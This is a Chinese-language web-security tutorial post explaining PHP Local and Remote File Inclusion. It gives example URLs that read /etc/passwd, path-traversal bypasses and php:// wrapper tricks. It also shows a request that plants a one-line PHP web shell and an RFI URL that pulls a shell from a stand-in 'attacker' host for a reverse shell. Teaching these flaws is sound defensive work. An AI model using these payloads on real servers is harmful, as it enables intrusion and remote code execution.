[Day7] Local File Inclusion / Remote File Inclusion

前言

中场休息过後,来看一下LFI和RFI吧!

正文

LFI

LFI全称Local File Inclusion,从字面上就可以大致理解这种攻击手法,简单来说就是攻击者利用网站上某些会引入Server本地端的文件(档案),而去访问敏感(或预期外)档案的攻击手法。

download.php

<php
include($_REQUEST["f"]);
?>

从这段code和档案名称可以看出,网站中的download.php提供了下载某个档案的功能,这在现实场景也会看到。若是没有正确的过滤或不恰当的使用,就可能引发LFI,例如在download.php中有个档案叫register.pdf,当你点下这个pdf的连结後的网址是:
http://example.com/download.php?f=register.pdf
这时候改变f的值:
http://example.com/download.php?f=/etc/passwd 注:etc/passwd为Linux中包含使用者名称资讯的档案
就会看到像这样的资讯

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
...

当然只看到这些资讯可能没有甚麽作用,但透过其他方法可以使LFI变得更具威胁性。除了include之外require, include_once, require-once这些也都有可能引发LFI。另外除了/etc/passwd,也可能被尝试leak一些预设位置的conf或其他系统设定档等等。

当然,网站开发者可能会对其做出一些限制或过滤,这时候可以使用相对路径来绕过,或是使用replace ../,但绕过的方法百百种,例如很简单的....//
....//....//....//....//etc/passwd
或是透过php中的伪协议:

file://
http://
php:// #php://filter , php://imput..
zip://
phar://
...

都可以做到绕过,若是有玩过一些CTF的人,应该对此也不陌生。
这之中又有一些威胁特别严重的如php://input
这可以让Server读取User的Post Request并当作php code执行,这就允许攻击者可以用来上传web shell,例如我们发送以下Request到有此漏洞的网站:

GET /f=php://input HTTP/1.1
Host: example.com
...
...

<?php echo system($_REQUEST['cmd']); ?>

其他还有像是引入php session触发的RCE这种手法,都会让LFI变得更加危险。


RFI

全称Remote File Include,也就是远程档案包含漏洞,这个与LFI不一样的是他可以包含"远程(非本地)"的档案。

这个漏洞危险的在於,攻击者可以透过在local架设一个简易的web service,例如:
python3 -m http.server 80
并在资料夹中写入一个Web shell或Reverse shell,来获得Server的initial access:
http://example.com/download?f=http://attacker/shell.php&cmd=<reverse shell>


下篇预告: HTTP Response Splitting


<<:  [Day14] Webpack 入门 - 环境设定篇

>>:  第十七天:TeamCity 通知机制

【这些年我似是非懂的 Javascript】Day 28 - 物件 # Part 4 # 特性描述器 Combo

昨天分享了特性组合的一般单独的使用方法, 今天要来分享一下他们的 Combo 连技和相关用到的东西...

Python - Python3 虚拟环境参考笔记

Python - Python3 虚拟环境参考笔记 参考资料 资料来源:架设 Django 开发环境...

Day26-TypeScript(TS)的函式多载(Overloads)

前面讲了那麽多函式希望大家都有好好吸收, 那麽我们来到了基本函式的最後一个环节了喔。 也就是Type...

< 关於 React: 开始打地基| 表单内的显示元素,map() ShowAdd 与Key >

09-13-2021 前言: 当我们需要的资料越多越繁杂时,我们所需要的是一个可以快速把按照我们所...

【後转前要多久】# Day06 CSS - Selectors 选取器

CSS Selectors 介绍 Selectors英文直接翻译是选择者、选择的物品等等,中文叫 选...